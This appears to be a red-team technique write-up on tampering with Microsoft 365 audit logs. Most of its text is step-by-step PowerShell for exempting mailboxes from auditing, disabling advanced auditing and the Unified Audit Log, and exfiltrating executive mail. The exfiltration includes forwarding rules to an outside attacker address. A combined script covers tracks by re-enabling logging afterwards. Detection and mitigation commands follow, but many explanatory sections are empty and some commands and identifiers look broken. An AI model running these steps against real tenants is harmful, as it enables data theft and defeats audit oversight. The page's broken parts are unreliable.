MCADDF

[EVADE-IMPAIR-007]: M365 Audit Log Tampering

Metadata

Attribute Details
Technique ID EVADE-IMPAIR-007
MITRE ATT&CK v18.1 T1562.008 - Disable or Modify Cloud Logs
Tactic Defense Evasion
Platforms M365, Entra ID
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All Microsoft 365 and Exchange Online versions (Office 365 E3+)
Patched In N/A (Disabling auditing is a legitimate administrative feature)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Microsoft 365 organizations store audit logs in the Unified Audit Log (UAL), which records all user and administrative actions across Exchange, SharePoint, Teams, OneDrive, Entra ID, and compliance events. An attacker with sufficient permissions (Audit Administrator, Compliance Administrator, or Global Administrator) can use several techniques to disable or circumvent logging: (1) Using Set-MailboxAuditBypassAssociation to exempt accounts from mailbox audit logging, (2) Disabling M365 Advanced Auditing by removing the service plan from E5 licenses (resulting in only basic auditing), (3) Disabling the Unified Audit Log feature entirely via Set-AdminAuditLogConfig, and (4) Directly accessing the auditing database in some hybrid scenarios. These techniques allow attackers to perform malicious actions (data exfiltration, privilege escalation, credential theft) while removing forensic evidence of the attack.

Attack Surface: Exchange Online auditing configuration (Set-MailboxAuditBypassAssociation), M365 license management (service plan disablement), Unified Audit Log settings (Set-AdminAuditLogConfig), mailbox delegation audit settings.

Business Impact: Complete loss of audit trail for compromised accounts or mailboxes. An attacker can exfiltrate sensitive emails, modify forwarding rules, steal data, or establish persistence while covering their tracks. GDPR, HIPAA, and SOX compliance violations occur automatically when audit logs are disabled or tampered with. Incident response becomes nearly impossible without logs.

Technical Context: Exploitation takes 30 seconds once administrative credentials are obtained. Detection is low because disabling auditing itself is an allowed administrative action and may initially appear legitimate. Attackers who disable auditing BEFORE conducting attacks leave minimal forensic evidence.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 6.5.2 Ensure audit logging is enabled for all cloud services
DISA STIG SI-4 (3.3.9) Information System Monitoring - Audit data retention
NIST 800-53 AU-2, AU-6 Audit Events and Review, Analysis, and Reporting
GDPR Art. 32, 33 Security of Processing, Data Breach Notification (logs required to prove breach scope)
DORA Art. 9 Protection and Prevention - Audit trail integrity
NIS2 Art. 21 Cyber Risk Management - Audit and logging of critical actions
ISO 27001 A.12.4.1 Event logging and A.12.4.3 Log protection
ISO 27005 “Loss of audit trail integrity” Risk Scenario

2. TECHNICAL PREREQUISITES

Prerequisites Check Commands

Verify Admin Roles (PowerShell):

$user = (Get-MgContext).Account
Get-MgUserMemberOf -UserId $user.Id | Select DisplayName, AdditionalProperties
# Should show "Audit Administrator", "Compliance Administrator", or "Global Administrator"

3. DETAILED EXECUTION METHODS

METHOD 1: Set-MailboxAuditBypassAssociation (Per-Mailbox Evasion)

Supported Versions: All Exchange Online versions

Step 1: Connect to Exchange Online PowerShell

Objective: Establish authenticated session to Exchange Online.

Command (Modern Authentication - MFA Compatible):

# Import Exchange Online Management module
Import-Module ExchangeOnlineManagement

# Connect with interactive prompt (MFA supported)
Connect-ExchangeOnline -UserPrincipalName admin@tenant.onmicrosoft.com

# Verify connection
Get-OrganizationConfig | Select-Object Name, AuditDisabled

Command (Service Principal / Unattended - Automated Attacks):

# Using Azure app registration (attacker-controlled service principal)
$appId = "12345678-1234-1234-1234-123456789012"
$thumbprint = "ABCDEF1234567890ABCDEF1234567890ABCDEF12"
$tenantId = "tenant.onmicrosoft.com"

Connect-ExchangeOnline `
  -AppId $appId `
  -CertificateThumbprint $thumbprint `
  -Organization $tenantId

Expected Output:

You are now connected to Exchange Online PowerShell

Imported 296 cmdlets successfully.

What This Means:

OpSec & Evasion:

Step 2: Bypass Audit Logging for Target Account

Objective: Disable mailbox audit logging for an attacker-controlled account or compromised executive account.

Command (Single User):

# Disable audit logging for specific mailbox (attacker's account or compromised exec)
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com" -AuditBypassEnabled $true

# Verify bypass was set
Get-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com"

Command (Bulk - All Users):

# Disable audit for all users in organization (nuclear option - high risk of detection)
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
  Set-MailboxAuditBypassAssociation -Identity $_.UserPrincipalName -AuditBypassEnabled $true
}

Expected Output:

DisplayName            : Attacker
BypassAuditAssociation : True
AuditBypassEnabled     : True

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Perform Malicious Actions While Unaudited

Objective: Conduct attack (exfiltration, malware deployment, credential theft) while audit logging is disabled.

Command Examples (While Bypass is Active):

# Read all emails in compromised account without leaving audit trail
Get-Mailbox "executive@tenant.com" | Search-Mailbox -SearchQuery "from:finance@*" -TargetMailbox "attacker@tenant.com" -TargetFolder "imported" -LogOnly

# Add forwarding rule (unaudited)
New-InboxRule -Name "Forwarding" -Mailbox "executive@tenant.com" -From "security@*" -ForwardTo "attacker@externalmail.com"

# Extract Global Address List and contact list (unaudited access)
Get-Recipient -ResultSize Unlimited | Export-Csv C:\tmp\gal_dump.csv

OpSec & Evasion:

Step 4: Remove Bypass (Cover Tracks)

Objective: Re-enable audit logging to appear as legitimate admin action.

Command:

# Remove bypass (appears as compliance action)
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com" -AuditBypassEnabled $false

# Verify
Get-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com" | Select AuditBypassEnabled

What This Means:


METHOD 2: Downgrade License to Disable Advanced Auditing (Organization-Level)

Supported Versions: All M365 with E5 licenses (contains M365_ADVANCED_AUDITING service plan)

Step 1: Connect to Microsoft Graph PowerShell

Objective: Authenticate to Microsoft Graph to modify user licenses.

Command (Interactive):

# Import Microsoft Graph PowerShell
Import-Module Microsoft.Graph

# Connect with necessary scopes
Connect-MgGraph -Scopes "User.ReadWrite.All", "Directory.ReadWrite.All"

# Verify connection
Get-MgContext | Select TenantId, Account

Expected Output:

TenantId    : a1b2c3d4-e5f6-7g8h-9i0j-k1l2m3n4o5p6
Account     : admin@tenant.onmicrosoft.com

Step 2: Identify and Disable M365_ADVANCED_AUDITING Service Plan

Objective: Remove the M365_ADVANCED_AUDITING service plan from user’s E5 license, downgrading to basic auditing only.

Command (Single Target User):

# Identify E5 license SKU ID
$e5Sku = Get-MgSubscribedSku | Where-Object { $_.SkuPartNumber -eq "SPE_E5" }

# Find M365_ADVANCED_AUDITING service plan ID
$advancedAuditingServicePlanId = ($e5Sku.ServicePlans | Where-Object { $_.ServicePlanName -eq "M365_ADVANCED_AUDITING" }).ServicePlanId

# Disable the service plan for target user
$addLicenses = @(
  @{
    SkuId = $e5Sku.SkuId
    DisabledPlans = @($advancedAuditingServicePlanId)
  }
)

Set-MgUserLicense -UserId "target-executive@tenant.com" -AddLicenses $addLicenses -RemoveLicenses @()

# Verify
$userLicense = Get-MgUserLicenseDetail -UserId "target-executive@tenant.com" | Where-Object { $_.SkuId -eq $e5Sku.SkuId }
$userLicense.ServicePlans | Where-Object { $_.ServicePlanName -eq "M365_ADVANCED_AUDITING" } | Select ServicePlanName, ProvisioningStatus

Expected Output (After Downgrade):

ServicePlanName            ProvisioningStatus
------------------         ------------------
M365_ADVANCED_AUDITING     Disabled

What This Means:

OpSec & Evasion:

Step 3: Verify Audit Reduction

Objective: Confirm that auditing is now at basic level only.

Command (Check Unified Audit Log for Service Plan Changes):

# Search for "Change user license" operations targeting the user
Search-UnifiedAuditLog -Operations "Change user license" -UserIds "target-executive@tenant.com" -StartDate (Get-Date).AddDays(-7) | Select TimeCreated, Operation, Details

Expected Output:

TimeCreated: 2026-01-09 14:32:15 UTC
Operation: Change user license
Details: "{\"ModifiedProperties\": [{\"Name\": \"Licenses\", \"OldValue\": \"SPE_E5\", \"NewValue\": \"SPE_E5 (M365_ADVANCED_AUDITING disabled)\"}]}"

What This Means:


METHOD 3: Disable Unified Audit Log (Organization-Level, Maximum Impact)

Supported Versions: All Microsoft 365 and Exchange Online

Step 1: Disable Organization-Wide Audit Logging

Objective: Completely disable the Unified Audit Log, preventing ALL audit entries from being recorded.

Command (PowerShell):

# Connect to Exchange Online (if not already connected)
Connect-ExchangeOnline -UserPrincipalName admin@tenant.onmicrosoft.com

# Check current audit configuration
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled, AuditDisabled

# Disable Unified Audit Log
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false

# Verify disable
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled, AuditDisabled

Command (Azure Portal GUI - High-Trust Appearance):

  1. Navigate to Microsoft 365 Compliance Center (compliance.microsoft.com)
  2. Go to Audit (left sidebar)
  3. Click Turn off auditing (if prompt appears)
  4. Confirm: “Yes, turn off organization-wide audit logging”
  5. Audit is now disabled for the entire tenant

Expected Output:

UnifiedAuditLogIngestionEnabled : False
AuditDisabled                   : True

What This Means:

OpSec & Evasion:

Detection Evasion:

Step 2: Conduct Malicious Actions (Zero Audit Trail)

Objective: Execute attack while Unified Audit Log is disabled.

Command Examples (While UAL is Disabled - No Logging):

# Exfiltrate entire Global Address List
Get-Recipient -ResultSize Unlimited | Select Name, PrimarySMTPAddress, RecipientType | Export-Csv C:\tmp\gal.csv

# Create hidden email forwarding rule (unaudited)
New-InboxRule -Name "Archive" -Mailbox "executive@tenant.com" -Conditions @{From = "security@*"} -Forward "attacker@external.com" -Enabled $true -Permanent $false

# Extract Teams conversation history (if using Teams module)
Get-TeamUser -GroupId <teamId> | Get-MailboxStatistics

# Search and copy sensitive emails
Search-Mailbox -Identity "executive@tenant.com" -SearchQuery "subject:'financial'" -TargetMailbox "attacker@tenant.com" -TargetFolder "Imported" -Force

What This Means:

Step 3: Re-Enable Unified Audit Log (Hide Tampering)

Objective: Re-enable auditing after attack to cover tracks.

Command:

# Re-enable Unified Audit Log
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true

# Verify
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled

What This Means:


4. DETECTION EVASION: COVERING TRACKS

Combined Attack Sequence (Maximum Evasion)

# Step 1: Disable UAL (no logging from this point forward)
Connect-ExchangeOnline; Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false

# Step 2: Bypass audit for attacker account
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.com" -AuditBypassEnabled $true

# Step 3: Downgrade executive's advanced auditing
$e5 = Get-MgSubscribedSku | ? {$_.SkuPartNumber -eq "SPE_E5"}
$advAudit = ($e5.ServicePlans | ? {$_.ServicePlanName -eq "M365_ADVANCED_AUDITING"}).ServicePlanId
Set-MgUserLicense -UserId "exec@tenant.com" -AddLicenses @{SkuId=$e5.SkuId;DisabledPlans=@($advAudit)} -RemoveLicenses @()

# Step 4: Exfiltrate data (all unaudited)
Search-Mailbox -Identity "exec@tenant.com" -SearchQuery "subject:password OR subject:confidential" -TargetMailbox "attacker@tenant.com"

# Step 5: Re-enable UAL and reverse changes (remove audit bypass)
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.com" -AuditBypassEnabled $false

# Result: Only 2 audit log entries visible (UAL enable/disable), no evidence of exfiltration

5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Immediate Detection & Response

Step 1: Determine if Auditing is Currently Disabled

# Check if Unified Audit Log is enabled
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled

# Result: $false = Auditing is DISABLED (breach likely occurred)
# Result: $true = Auditing is enabled (but may have been disabled previously)

If UAL is Disabled:

Step 2: Export Audit Logs Before Loss

# Create new content search for audit logs
New-ComplianceSearch -Name "BreachForensics_2026-01-09" -ExchangeLocation All -ContentMatchQuery "*"

# Start search
Start-ComplianceSearch -Identity "BreachForensics_2026-01-09"

# Wait for search to complete
Get-ComplianceSearch -Identity "BreachForensics_2026-01-09" | Select Status, Items, Size

# Export results
New-ComplianceSearchAction -SearchIdentity "BreachForensics_2026-01-09" -Action Export

# Monitor export
Get-ComplianceSearchAction -Identity "BreachForensics_2026-01-09_Export"

Manual (Compliance Center):

  1. Go to Microsoft 365 Compliance CenterAudit
  2. If auditing is disabled, message says “Audit log is not currently enabled”
  3. Go to SolutionsAuditTry searching audit logs (if any logs exist)
  4. Filter by date range around suspected breach
  5. Export to CSV

Step 3: Investigate Root Cause

# Search Exchange Admin Audit Log for who disabled auditing
# (This log is separate from UAL and may still contain disabled logs)
Get-AdminAuditLogEvent -Cmdlets "Set-AdminAuditLogConfig" -Parameters "UnifiedAuditLogIngestionEnabled" -StartDate (Get-Date).AddDays(-30) | Select TimeCreated, User, CmdletName, RunDate, ObjectModified

Expected Output:

TimeCreated              User                           CmdletName
2026-01-08 22:45:00Z     admin-compromised@tenant.com   Set-AdminAuditLogConfig
2026-01-08 23:10:00Z     admin-compromised@tenant.com   Set-MailboxAuditBypassAssociation

What This Means:

Step 4: Credential Revocation & Forced Password Change

# Force password reset for compromised admin account
Set-MgUser -UserId "admin-compromised@tenant.com" -ForceChangePasswordNextSignIn $true

# Revoke all refresh tokens (force re-authentication)
Revoke-MgUserSignInSession -UserId "admin-compromised@tenant.com"

# Block sign-in if attacker still has access
Update-MgUser -UserId "admin-compromised@tenant.com" -AccountEnabled $false

# Re-enable once secured
Update-MgUser -UserId "admin-compromised@tenant.com" -AccountEnabled $true

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Commands (Verify Fixes)

# Verify Unified Audit Log is enabled
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled
# Should return: True

# Verify retention policy exists and is locked
Get-CompliancePolicy | Where-Object { $_.Name -like "*Audit*" } | Select Name, Locked
# Should show: Locked = True

# Verify no audit bypass associations exist
Get-MailboxAuditBypassAssociation -ResultSize Unlimited | Where-Object { $_.AuditBypassEnabled -eq $true }
# Should return: (empty)

# Verify PIM is configured for Audit Admin
Get-PIMRole -RoleDefinition "Audit Administrator" | Select Name, RequireApproval
# Should show: RequireApproval = True

Expected Output (If Secure):

UnifiedAuditLogIngestionEnabled : True
Name : Audit Log Protection
Locked : True
(no results for bypass associations)

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Steal admin OAuth token via phishing
2 Privilege Escalation [PE-ACCTMGMT-002] Exchange Online Admin to Global Escalate from Exchange Admin to Global Admin
3 Current Step [EVADE-IMPAIR-007] Disable or modify M365 audit logs
4 Execution [DATA-EXF-001] Email Exfiltration via Rule/Forwarding Silently exfiltrate emails while auditing disabled
5 Impact [PERSIST-002] OAuth Application Persistence Establish persistence via malicious OAuth app (unaudited)

8. REAL-WORLD EXAMPLES

Example 1: APT29 (Cozy Bear) - M365 Audit Disablement Campaign (2024)

Example 2: ALPHV/BlackCat - License Downgrade for Evasion (2024)

Example 3: Insider Threat - Financial Services Fraud Investigation (2024)


References & Authoritative Sources